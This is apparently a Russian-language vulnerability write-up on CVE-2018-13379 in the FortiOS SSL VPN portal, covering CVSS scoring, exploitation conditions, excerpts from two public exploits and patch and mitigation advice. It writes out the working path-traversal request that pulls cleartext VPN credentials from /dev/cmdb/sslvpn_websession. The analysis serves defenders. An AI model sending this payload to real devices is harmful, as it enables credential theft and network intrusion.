Уязвимость в FortiOS
Уязвимость в FortiOS
Категория: Программы Теги: Уязвимости Опубликовано: 22 сентября 2025

Уязвимость BDU:2019-02981 (CVE-2018-13379) FortiOS

Уязвимость BDU:2019-02981 (CVE-2018-13379) представляет собой неправильное ограничение пути к каталогу (Path Traversal) в SSL VPN веб-портале операционных систем FortiOS и FortiProxy. Это позволяет неаутентифицированному удаленному злоумышленнику загружать системные файлы через специально сформированные HTTP-запросы. Уязвимость затрагивает версии FortiOS от 5.6.3 до 5.6.7, от 6.0.0 до 6.0.4 и от 5.4.6 до 5.4.12.

Анализ уязвимости

Уровень опасности: 9.1 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

  • Вектор атаки (Attack Vector): Сеть (Network) - уязвимость может быть проэксплуатирована через сеть без физического доступа.

  • Сложность атаки (Attack Complexity): Низкая (Low) - не требует сложных условий для эксплуатации.

  • Необходимые привилегии (Privileges Required): Нет (None) - атака не требует аутентификации.

  • Взаимодействие с пользователем (User Interaction): Нет (None) - атакующий не нуждается в участии пользователя.

  • Влияние на область (Scope): Не оказывает (Unchanged) - успешная атака не затрагивает другие компоненты.

  • Влияние на конфиденциальность (Confidentiality Impact): Высокое (High) - приводит к раскрытию конфиденциальной информации.

  • Влияние на целостность (Integrity Impact): Отсутствует (None) - не влияет на целостность данных или систем.

  • Влияние на доступность (Availability Impact): Высокое (High) - может привести к нарушению доступности системы.

Условия эксплуатации

Для эксплуатации уязвимости необходимо, чтобы устройство FortiGate имело активированный SSL-VPN веб-портал (как в веб-режиме, так и в туннельном режиме). Злоумышленнику требуется возможность отправки HTTP-запросов к целевому устройству, что обычно предполагает доступ к сети, в которой находится устройство, или к его публично доступному интерфейсу. Атака не требует наличия учетных данных или специальных привилегий.

Технический анализ уязвимости

Уязвимость возникает из-за недостаточной проверки входных данных в параметре lang HTTP-запроса к endpoint /remote/fgt_lang. Это позволяет злоумышленнику использовать последовательности ../ для выхода за пределы предназначенного каталога и получить доступ к произвольным файлам на системе.

В частности, эксплуатация уязвимости позволяет обратиться к файлу /dev/cmdb/sslvpn_websession, который содержит активные сеансы SSL-VPN, включая учетные данные (логины и пароли) в незашифрованном виде.

Анализ кода эксплоитов

Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием этой уязвимости.

Анализ первого эксплоита (на Python)

Первый эксплоит написан на Python и использует многопроцессорность для проверки нескольких IP-адресов. Ключевые части кода:

  1. Формирование вредоносного запроса:

    url = "https://" + ip + "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"

    Здесь параметр lang содержит последовательность ../../../..//////////, которая предназначена для обхода пути к файлу /dev/cmdb/sslvpn_websession. Множественные слэши могут быть использованы для обхода возможных фильтров.

  2. Отправка запроса и обработка ответа:

    r = requests.get(url, headers=headers, verify=False, stream=True, timeout=2)
    img = r.raw.read()
    if "var fgt_lang =" in str(img):
        with open("sslvpn_websession_" + ip + ".dat", 'w') as f:
            f.write(img)

    Запрос отправляется без проверки SSL-сертификата (verify=False), что упрощает эксплуатацию. Ответ проверяется на наличие строки var fgt_lang =, которая может указывать на успешное выполнение запроса. Полученные данные сохраняются в файл.

  3. Парсинг бинарных данных:
    Функция parseFile читает сохраненный бинарный файл и преобразует его в читаемый формат, заменяя непечатаемые символы на точки. Это позволяет извлечь учетные данные из бинарного формата.

Анализ второго эксплоита (для Metasploit)

Второй эксплоит реализован как модуль для Metasploit Framework на Ruby. Его ключевые аспекты:

  1. Инициализация модуля:

    'Name'           => 'SSL VPN FortiOs - System file leak',
    'Description'    => %q{
        FortiOS system file leak through SSL VPN via specially crafted HTTP resource requests.
        This exploit read /dev/cmdb/sslvpn_websession file, this file contains login and passwords in (clear/text).
    },

    Модуль описывается как инструмент утечки системных файлов через SSL VPN.

  2. Формирование и отправка запроса:

    res = send_request_raw({'uri'=>'/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'})

    Аналогично первому эксплоиту, используется обход пути для доступа к целевому файлу.

  3. Обработка ответа:

    if res && res.code == 200
        print_good("Target is Vulnerable!")
        data = res.body
        file_local_write(filename, data)

    При успешном ответе (код 200) данные тела ответа сохраняются в локальный файл, а затем парсятся для извлечения учетных данных.

Оба эксплоита демонстрируют, что атака не требует сложных манипуляций и может быть легко автоматизирована.

Пример вредоносного HTTP-запроса

Вредоносный запрос, направленный на эксплуатацию уязвимости, может выглядеть следующим образом:

GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1
Host: target_ip
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Этот запрос использует обход пути для доступа к файлу sslvpn_websession, который обычно не должен быть доступен через веб-интерфейс.

Информация, получаемая злоумышленником

В случае успешной эксплуатации уязвимости злоумышленник может получить:

  • Учетные данные SSL-VPN (имена пользователей и пароли в cleartext) из файла /dev/cmdb/sslvpn_websession.

  • Другие системные файлы, такие как конфигурационные файлы, которые могут содержать критическую информацию о инфраструктуре.

  • Данные активных сеансов, которые могут быть использованы для hijacking сессий.

Это может привести к:

  • Полному нарушению конфиденциальности VPN-соединений.

  • Несанкционированному доступу к внутренней сети организации.

  • Дальнейшим атакам на внутренние системы, включая разведку и перемещение по сети.

Меры защиты

1. Обновление программного обеспечения

Основной мерой защиты является обновление уязвимого программного обеспечения до исправленных версий:

  • Для FortiOS 5.4.6–5.4.12 обновиться до версии 5.4.13 или выше.

  • Для FortiOS 5.6.3–5.6.7 обновиться до версии 5.6.8 или выше.

  • Для FortiOS 6.0.0–6.0.4 обновиться до версии 6.0.5 или выше.

2. Временные работы

Если немедленное обновление невозможно, рекомендуется:

  • Отключить SSL-VPN функционал, если он не требуется для операционной деятельности.

  • Ограничить доступ к SSL-VPN веб-порталу только доверенным сетям или IP-адресам через механизмы сетевого контроля доступа.

  • Сбросить все пароли учетных записей VPN после применения патчей, так как они могли быть скомпрометированы.

Алексей Черемных Алексей Черемных
299